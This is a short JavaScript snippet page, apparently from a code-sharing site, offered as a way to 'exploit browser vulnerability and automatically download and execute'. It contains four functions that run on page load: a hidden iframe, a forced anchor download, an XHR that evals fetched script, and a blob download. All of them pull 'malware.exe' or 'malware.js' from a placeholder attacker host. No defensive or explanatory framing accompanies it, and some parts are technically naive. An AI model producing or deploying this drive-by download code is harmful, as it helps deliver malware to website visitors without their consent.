JavaScript | exploit browser vulnerability and automatically download and execute

Code
//iframe

function exploitVulnerability() {

    

    var iframe = document.createElement('iframe');

   

    iframe.src = 'http://Yoursite.com/malware.exe';

    

    iframe.style.display = 'none';

   

    document.body.appendChild(iframe);

    

    

    iframe.onload = function() {

        

        var script = document.createElement('script');

      

        script.src = 'http://Yoursite.com/malware.exe';

        

        document.body.appendChild(script);

    };

}





window.onload = exploitVulnerability;









//anchor 



function downloadAndExecute(url) {

    

    var anchor = document.createElement('a');

    

    anchor.href = url;



    anchor.download = 'malware.exe';

   

    document.body.appendChild(anchor);

    

    anchor.click();

    

    document.body.removeChild(anchor);

}





downloadAndExecute('http://Youresite.com/malware.exe');



//fetch

function fetchAndExecute(url) {

    

    var xhr = new XMLHttpRequest();

    

    xhr.open('GET', url, true);

    

    xhr.responseType = 'blob';

    

    xhr.onload = function() {

        if (xhr.status === 200) {

         

            var reader = new FileReader();

            

            reader.onload = function() {

               

                eval(reader.result);

            };

            // Read the blob response as text

            reader.readAsText(xhr.response);

        }

    };

   

    xhr.send();

}



fetchAndExecute('http://Yoursite.com/malware.js');





//Blob



function createAndDownload(url) {

    

    var xhr = new XMLHttpRequest();

  

    xhr.open('GET', url, true);

   

    xhr.responseType = 'blob';

   

    xhr.onload = function() {

        if (xhr.status === 200) {

          

            var blob = new Blob([xhr.response], { type: 'application/octet-stream' });

           

            var url = URL.createObjectURL(blob);

           

            var anchor = document.createElement('a');

          

            anchor.href = url;

          

            anchor.download = 'malware.exe';

            

            anchor.click();

            

            URL.revokeObjectURL(url);

        }

    };

  

    xhr.send();

}



createAndDownload('http://Yoursite.com/malware.exe');